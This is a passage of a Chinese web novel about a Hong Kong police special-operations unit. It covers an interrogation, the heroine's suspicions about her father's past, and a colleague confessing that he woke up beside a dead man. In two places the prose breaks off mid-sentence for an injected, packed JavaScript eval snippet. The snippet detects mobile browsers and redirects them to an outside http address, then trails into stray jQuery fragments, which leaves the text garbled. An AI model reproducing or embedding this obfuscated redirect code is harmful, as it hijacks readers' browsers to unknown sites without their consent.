不过之前一直没有足够的动力让谭仪雯深度探究这个疑问，吴文同现在已经被抓住，还给出这样的提示，她不得不重视起之前没细想过的细节。 她在纸上定下了两个计划：如果吴文同在之后的审讯中说出了跟多有关于她家人的信息，或者是找到了黑市上花钱买命的人，那就从谭耀樟的过去入手；但如果吴文同没给出什么有价值的线索，她就要从名字外面的圆圈入手了。 谭耀樟远在加拿大，在她什么都不知道的情况下，想要逃避谭仪雯的询问有很多办法，山高路远，她也没办法一张机票就飞到加拿大找谭耀樟去。 而名字外面的圈不只有谭耀樟一个人有，每天跟他一起上下班的郭庭伟的名字外面也有，就算从谭耀樟身上挖掘不出什么有用的东西，那也可以从郭庭伟身上挖一挖。 经过一夜的涂涂改改，谭仪雯终于在第二天一早把报告交给了余子敬。 余子敬只是扫了一眼，就把她的报告放在了抽屉里。起初谭仪雯是没当回事的，但是在余子敬出去接电话的时候，谭仪雯正好站起身路过余子敬的工位，桌子上却摆只摆了一份报告。 刚刚薛凯杰的报告也交了上去，桌子上如果摆了报告的话，那应该是两份报告一起摆，如果她的那份不放在桌子上，那薛凯杰的也不应该放在桌子上。 谭仪雯不得不驻足查看余子敬放在桌子上的到底是谁的报告，他怎么能差别对待呢？ 在看清楚之后，谭仪雯发现余子敬桌面上的这份文件既不是她交上去的那份，也不是薛凯杰交上去的那份。 因为老薛必然会按照昨天在重案组的问话那样写，说他怎么迟迟不肯动手，然后再说她是怎么说出让她来的那句话的，当然也有可能隐去一些细节，说是他主动要求她帮忙开枪的。 可是那份报告上写的东西确跟她想的一点也不沾边。 在新报告上，是薛凯杰在发现之后果断开枪，又因为他在飞虎队服役过，所以枪法很准，只一枪就把嫌疑人击倒，随后谭仪雯冲在前面，最先到了受害人所在的位置。 跟真实情况不一样，但是跟现在能找到的所有物证都能对得上。 看来昨天晚上除了谭仪雯和薛凯杰之外，余子敬也熬了一个大夜写报告。 按照他这么一个一板一眼的风格，能写出这么一篇与真实情况完全不相符的报告应该也是经过许多思想斗争的。 恰在此时，余子敬回了办公室，看到谭仪雯站在他桌子旁边，看着那份他半夜才写好的报告，也没说什么，只是回到了座位，讲报告随手放在了桌面的其他地方，继续开始办公了。 看来余子敬已经做出选择了。 他选择用圆满的谎言掩盖可能带来的惩罚。 这么看来，他还挺好的嘛。 18. 血色花 十 一个案子刚刚结束，大部分人终于放下了悬着的心，开始对之前的工作进行复盘和收尾，余子敬上午还在西九龙特别行动处的办公室里，下午就带着那份“薛凯杰写的报告”去了西九龙重案组进行了提交。 骆sir今天没来，估计是还在医院跟女儿在一块。 下午的时候郭庭伟和谭仪雯就一起去了重案组。 不是西九龙重案组，而是关着吴文同的那个重案组。 谭仪雯脖子上的伤还没有好，手指上的伤口本来是已经结痂了的，但是因为在救骆亦欣的时候伸手拉了一下箱子，用力太大，所以刚要长好的伤口就又被撕开了，现在正贴着创可贴。 昨天的事情太多，没什么人理会吴文同，除了少数几个负责值班的警员管理被暂时关押的嫌疑犯的吃喝拉撒之外，吴文同没见过其他人。 暂时关押的地方和监狱是大不同的，坐过牢的吴文同在短暂适应了一会之后，就没有那么紧张了——值班的警员跟狱警比起来真是温和了不少啊。 “吴文同，你还知道什么？”谭仪雯语气很平稳。 其实他也不知道自己应该表现出什么心情。害怕吗？现在是在重案组，吴文同已经从凶手变成了犯人，再进监狱也只是时间问题，应该是不会无罪释放的，所以没有理由害怕，至少现在不害怕。 “跟你的家里人有关系，我只知道这些。”吴文同还是同一套说辞，毕竟他也就知道这么多。 看来真是没有什么线索了。 谭仪雯侧头看向了郭庭伟，如果实在没有什么线索，那就要从他身上挖点消息，现在名字外面有圈无字的人除了她爸爸谭耀樟之外，就只有郭庭伟一个人，他们之间肯定有什么联系，是一个突破口。 见谭仪雯沉默，郭庭伟又继续追问，像是不相信吴文同只知道这些似的。 “五筒，你真的不知道别的了吗？” 在郭庭伟看来，像谭仪雯这样从小就当一个普通的学生，然后又考进警校，成为最普通警察的人是最不可能招惹到什么坏人的，而且家庭应该也还不错，怎么会沦落到被人在黑市买命的程度呢？ 实在说不通。 “都说了几遍了，我只知道这些。”吴文同对谭仪雯的态度与对郭庭伟的态度天差地别，面对谭仪雯，他还是能好好说上几句的，但是面对郭庭伟，他则是能呛声就呛声。 没别的原因，就是单纯有私人恩怨。 能说出“家人”这个线索，已经是看在谭仪雯的面子上了，如果只有郭庭伟一个人来问，他肯定是不会把这个线索说出来的。 谭仪雯还在一边思考着如何把谭耀樟和郭庭伟联系在一起，又怎么从郭庭伟的嘴巴里问出关于谭耀樟的事情。 难道要直接问“你认不认识我老豆”吗？如果真的认识就算了，如果要说不认识或者发生什么预料之外的事情可怎么办？昨天晚上的时候谭仪雯还觉得郭庭伟这条线能走得通，但是今天仔细想想，好像也很困难。 卧底和社团之间的爱恨情仇很难说清，郭庭伟之前当过卧底，不可能所有事情都说出来，肯定要有所隐藏，把过于不光彩的一面当做一辈子的秘密埋在心底带进坟墓的，谭耀樟要是在这个范畴里面，就更难问了。 太难了！ 想知道自己到底怎么回事真是太难了！ “你是从一开始就是针，还是后来才当的针？”吴文同心里基本上已经有了答案，但是还是想从郭庭伟这里得到从他嘴里说出来的绝对标准的答案。 “从一开始就是。”郭庭伟对吴文同有那么一点点的愧疚心，但那也是因为他甩锅吴文同才有的，跟他原本就是警察卧底没关系，所以就坦坦荡荡地说了。 “呵……我就知道，大家都是讨生活，就你最拼。”拼到了老大怀疑过他好多次，但是都没什么结果，只有最后一次有结果，但这个结果是作用在他自己身上的，他被老大怀疑了，然后还被差佬抓了。 “我坐监也是你搞的鬼对吧？” 郭庭伟先是点点头，随后又摇摇头。 导火索当然是他告发吴文同，让自己的同事们提前把他抓了判了，免得老大清理门户直接把吴文同做掉，但是吴文同确实也是没干过什么好事，他被抓不亏。 “老大要把你做了。” “如果不是你引导，该被做了的是你。” “社团里的人都劣迹斑斑，谁被抓都不亏。” 这会轮到吴文同沉默了——郭庭伟说得没错。 他那时候不被抓，之后社团解散肯定也逃不了。 吴文同不再说话了。 “时间快到了。”值班警员敲敲门，走了进来。 吴文同不想面对郭庭伟，所以也急着走，但是走到门口的时候又突然回头。 “我可不确定这位madam之后还会不会上黑市名单。”他失手了，之后有没有可能继续被买凶他就管不了了。 说完之后，吴文同就被带走了。 “你们两个还有故事？”谭仪雯刚刚虽然在思考自己的事情，但是耳朵也没有闲下来，所以从他们两个人的对话中，也分析出来一点东西。 其实上次审问的时候，谭仪雯就已经知道郭庭伟和吴文同认识，而且可能是在“道上”认识的，但那时候他们的故事并非当务之急，所以就没追在郭庭伟身后问。 现在追问这是因为她想知道郭庭伟的更多信息，多问问说不定能找到一个合适的角度继续深挖。 “是啊，之前在当卧底的时候，我们是一个社团的，后来差点被发现，就把他给拱了出去，让他坐监去了，所以他恨我是正常的。” 但吴文同进监狱也确实没冤枉他，那时候不推他出去，之后也是要一锅端的。 “你们应该有很多卧底吧？像电影里演的那样。”卧底与社团，正义邪恶的纠缠几乎是千禧年前后香江影视的核心，甚至在之后的二十几年时间里，这个题材也长盛不衰。 “没有你想的那么多，社团里对的大部分人还是古惑仔的。”郭庭伟站起身，从椅背上拿起外套打算穿上。“不过也确实不少，但一般都不知道彼此的存在，有些人从此就隐姓埋名，除了他们的直属上司，别人都不知道他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017472|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了哪里。” 他似乎还是第一次正儿八经地把之前的事情说出来，不过毕竟他的经历还算传奇，被像是谭仪雯这样的年轻女孩好奇一下也很正常，而且他本来也没想彻底隐瞒之前的经历。 在再次遇到吴文同之前他就没有刻意隐藏过去，现在遇上谭仪雯被买命，她想问什么，就让她问，能回答的他肯定会回答，不能回答的部分他也会尽量挑着能说得部分说。 “能完全找不到人？” “也不能说完全找不到人，知道他们大概去了哪里，但是具体住在哪里、过着怎么样的生活，这些没人知道。有些人去了加拿大，还有些人在东南亚，还有些好像去了内地，总之现在都联系不到了。” 加拿大？ 谭仪雯抓到了一个关键词。 香江人里有很多都在加拿大生活和居住，里面有很多种原因，所以谭仪雯在知道谭耀樟在加拿大之后也没多问，更没多想，甚至还觉得只有她一个人在香江省去了很多麻烦。 但是现在一想，这样的配置就很不正常。全家上下都不在香江，只有她一个在，而且刚开始工作没多久就上了黑市，这怎么想都不太对劲。 现在还有谁能用黑市？最有可能的就是像吴文同这样曾经在社团里混过的人，那做出悬赏的人就也可能是之前混过的人。她当然不可能百分之百确认，但最有可能的就是曾经在古惑仔圈子里掌握一定话语权的人。 本来郭庭伟没觉得自己说的内容有什么奇怪的内容，但是谭仪雯却突然定住，可能是突然想到了什么。 “你想到什么了？” 谭仪雯想问郭庭伟认不认识谭耀樟，但是转念一想，他都说了卧底之间互相交流甚少，更别提谭耀樟老早就去加拿大了，想从郭庭伟嘴里听到他认识谭耀樟这个答案，实在是希望渺茫。 所以该怎么问这个问题呢？ “你……有没有伤害过别人？” 谭仪雯想了半天，才终于说出来一个看起来毫无逻辑的问题。 现在郭庭伟和谭耀樟之间唯一能确定的关联是那个圈，现在先把这个问题搞明白再说。 郭庭伟刚想说自己没伤害过别人，毕竟吴文同“珠玉在前”，他下意识地认为得像吴文同那样的伤害别人才算是伤害人，但是话还没出口，郭庭伟就觉得自己的答案不对。 做卧底的，谁是坦坦荡荡的干净人？ 在社团的时候，他经常会祸水东引，吴文同只是其中一个而已，其他的还有很多，甚至还有一个在争斗中被误伤死掉的人是他的同行，也是个卧底，这还是他后来才知道的，一直愧疚至今。 所以要说他杀没杀过谁，那他肯定是没有的，但是要说他有没有伤害过谁，那郭庭伟觉得自己对不起的人实在太多。 见郭庭伟点头，谭仪雯觉得自己找到了些眉目。 如果郭庭伟觉得自己伤害过别人，那圈圈就很有可能代表的是伤害或者是伤害过后的愧疚。 谭仪雯感觉自己天塌了，谭耀樟伤害过谁呢？该不会是道上的人吧？ 爹啊，你到底惹过谁啊！ 19. 替罪羊 一 还没等阿Tom从医院里出来，审讯就已经进行了两轮，阿Tom一开始还有些抗拒，但是后来在一次又一次的车轮战之后也渐渐松口。 他确实就是凶手，因为之前犯事逃跑的时候本来都是要成功逃脱了的，但是谁知道中间突然冲出来一个年轻女人突然出现，一腿把他扫倒在地，磕掉了两颗牙不说，还被抓到了监狱里蹲了一段时间。 本来他还以为那个年轻女人只是一个路人罢了，但是翻旧报纸的时候，发现女孩是警署的一个女警，那天正好休息，又正好碰到抓捕他的行动，顺手就把他逮捕了。 明明都能跑的！ 阿Tom知道之后一遍又一遍地捶胸顿足，越想越气，就想找那个女警报仇。可非常不巧地是，女警在自己的职位上表现优异，在阿Tom进监狱的时候看，她就被派到了国外学习知识，要好几年才能回来。 只是阿Tom的怒火已经不能等了，所以才想着要不要用其他女警来代替之前让他入狱的女警。 第一个女警他绑架失败，受了点轻伤。第二个才是黄茵，之后两个是欧蕙珊和罗秀灵，最后一个是骆亦欣，还没等他解决完骆亦欣，就被抓了。 这么大的案件，凶手被抓到之后自然会在警界内外传播。 先是警声把这件事做成节目播放，随后又给参与调查和抓捕的主要人员表彰，谭仪雯也是穿上了平日里没什么机会穿的制服，参加了好几轮的巡回表扬。 现在全警界都知道这个新设立的西九龙特别行动处了，其余地区的重案组都想抽调一些奇人怪人来组建特别行动处，用一应付突发情况。 面对民众的公开发布会谭仪雯则没去，余子敬代表整个特别行动处出席了公开发布会。 其实余子敬觉得全组人都是应该去的，包括之前他有些看不惯的郭庭伟。虽然郭庭伟这种草莽气让他很不喜欢，但是也不得不承认郭庭伟让阿Tom疼得乱叫的时候他也有爽到。 但是让他们在警队里露脸就可以了，参加公开发布会还是有些危险。 郭庭伟之前是古惑仔，上了电视之后说不定他手里那些人脉会对他有些改观，之后再想从那些前古惑仔那里拿到情报可能会有些困难。 至于谭仪雯，就更需要谨慎了，现在特别行动处的所有人都知道谭仪雯“榜上有名”，但是具体因为谁才惹上祸也不清楚，突然出现在公众场合肯定不行，工作肯定还是要正常做，但是上电视这种事就免了。 警队内部的公告可以多上一些，电视和报纸少参加一些。 就这样，在外，余子敬和薛凯杰的名气比较大，而在警队内部，谭仪雯和郭庭伟受到的嘉奖更多，很多警察都注意到了这个初出茅庐的小女警。 “我可是让我之前在警声的同事写了好多关于你的故事呢！” 谭仪雯在女警杀人魔案结了之后，基本上就没闲下来过，除了负责过几个偷鸡摸狗的案件之外，工作时间中的闲暇时间都被用来做采访了。 警声的人恨不得把办公室搬到特别行动处的楼下，这样就能随时抓到谭仪雯了。 “别提了。”谭仪雯叹了口气。“我觉得我已经没有什么可以说的了，但是那边还一直在挖掘我身上的闪光点。” 就差把她的列祖列宗都挖出来说她家九代忠臣了。 但问题是她自己也不知道自己家里都是做什么的，为此她还特地打了个国际长途问谭耀樟是做什么的。 谭耀樟的回答也很简单——做点小生意。 嗯，情理之中，再问也问不出什么别的了，谭仪雯就没追问。 “你身上的闪光点就是很多，办公室大家都很喜欢你的，是不是？”黄馥妮说完，还朝着骆sir的方向看了一眼。 现在办公室里最钟意谭仪雯的就是骆sir。 对外公开的资料里当然写的是薛凯杰开枪击中了犯人，但是他们几个是知道真正开枪的人其实是谭仪雯的，谭仪雯这一枪可是切切实实救了她女儿的命，骆sir怎么会不喜欢她？ “那也太夸张了，差点把我的祖宗都找出来了。” “这还不好？” “要是真找到就好了，还不都是问我，我再去问我老豆？”谭仪雯想从警声那边知道自己家里到底是个什么情况，但是显然警声也想从谭仪雯的嘴里问到她家是什么情况。 努力半个月，谭仪雯什么也没问到，除了谭耀樟亲自跟她说的“做小生意”之外，一无所获。 黄馥妮耸耸肩，觉得谭仪雯实在是太内敛了，如果是她，肯定是要多多上警声宣传一下自己的，偏偏这个谭仪雯，平常工作遇到有出勤的活动，看到巡逻的军装警都要低头赶紧走过，生怕有人把她认出来。 不过也能理解，谁知道那个花钱买她的人在上一次失败之后还会不会继续用钱买她，提高点警惕也是挺好的。 “庭仔呢？”现在已经要中午了，郭庭伟还没来，如果翘班的话，肯定会跟骆sir说的吧？骆sir也没提，余子敬也没提到，真奇怪。 黄馥妮这才回头看向郭庭伟的位置，确实有点不正常，不过黄馥妮也马上就给他找了个理由——去请认识的小弟吃饭巩固关系了吧？ “别想了，一个年轻力壮的男仔，肯定会保护好自己的。” 越来越接近香江的冬天了，天黑的早了点，气温也降了下来，现在有许多人都穿上了大衣，谭仪雯也不例外。 刚要掏出钥匙打开家门，背后就出现了一双手。 谭仪雯虽然听到了身后有人走近，也想要做出防御，但是奈何反应比身后的那个人慢了一些。 被捂住嘴巴的时候，谭仪雯想到了一百种可能，或许是又一次被买凶了，可能是纯粹想要劫财。 不管是哪种，万一是想伤害她或杀了她的人，她总要给自己的同事们留下一些线索，所以当机立断弯曲手指，在那人的手背和胳膊上抓挠着——看我不给他挠出口子来？ “是我。” 身后的人低声说道。 “你别出声，我放手。” 谭仪雯记得这个声音，手被松开之后，她马上回过头，回头正看到郭庭伟站在她身后。 “你搞什么？吓死我了。”谭仪雯都开始想着死前要怎么给自己的同事们留下线索了，毕竟已经有过经验。但没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023568|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到居然是郭庭伟。 “进去说。” 郭庭伟鬼鬼祟祟的，谭仪雯虽然不知道平日里最能插科打诨的郭庭伟今天到底怎么了，但还是将钥匙插进锁孔，拧了两下，打开了房门，侧过身叫郭庭伟进来了。 “房间不大，你自己找地方坐吧。”谭仪雯低头一瞥，发现刚刚自己的一爪子确实把郭庭伟的手背给挠破了，所以先让郭庭伟找个自己喜欢的地方坐，自己蹲在地上找着药箱。 郭庭伟和吴文同有别，一个是纯想杀她，郭庭伟肯定是不想杀她的。 “来吧，我给你擦一下，好得快。”郭庭伟找了个椅子坐着，谭仪雯就坐到床边，拿着棉签和一小瓶药水准备给郭庭伟清理一下。 “没事，小伤，不用处理。” “我知道你之前拼杀很勇猛，但是现在已经不是之前了。”伤疤是男人的勋章嘛，她懂的，但是郭庭伟手背上的这个肯定是形不成疤的，赶紧好了算了。 “我有事情要跟你说。”郭庭伟很严肃，没有平日里嘻嘻哈哈到处逗人的样子了。 谭仪雯盯着郭庭伟看了好几秒，感觉他确实是有事要说，才放下了手里的棉签。 “你说吧，我听着。” “我杀人了。” …… “咩啊？” 谭仪雯皱起眉毛，上半身向后倾着，来回打量着郭庭伟。 “这种事情不好开玩笑的。” “我讲真的。”郭庭伟把椅子往前拉了拉，想要离谭仪雯近一些。“昨天晚上的事。” “等等，等一下，我消化一下。” 谭仪雯豁然站起身，几根手指都搭在了额头处，眼球从左面转到右边，又从右边转了回去，想要来回踱步缓解一下短促又庞大的信息，但是房间本来就不大，加上郭庭伟就更没空间了。 郭庭伟知道自己的话说给谭仪雯听之后肯定会让她难以接受，所以在谭仪雯说等等的时候，他没有强行让她赶紧听他说话。 其实谭仪雯就算立刻拿起电话报警，把他送到重案组去，他都没什么话可说，这是谭仪雯的职责所在，守护香江市民是她的责任。 大概五分钟，谭仪雯才又坐下，一脸严肃地问郭庭伟到底什么情况。 他们才共事不到半年，之前郭庭伟还有“前科”，因为这个前科，余子敬还对他颇有微词。 郭庭伟想了好久，觉得黄馥妮跟他不够熟，余子敬对他有偏见，薛凯杰武力值高，说不定从背后碰碰他，自己就被摔飞出去了。 自己再怎么厉害，跟飞虎队的老手还是差一些的。 所以最后才选了谭仪雯。 “昨天晚上我跟朋友一起吃饭，后来喝了点，今天早上起来的时候，地板中间躺了个人，一看就是被砸死的，凶器就在我手里。” 郭庭伟把事情简单说了一遍。 “跟你都不认识，怎么可能是你杀的？”谭仪雯思考了一会，觉得郭庭伟这句话里的朋友和死者肯定不是一个人，死的不是朋友，说不定就是被谁做局了。 毕竟郭庭伟得罪的人也不少…… “死的人……我认识。”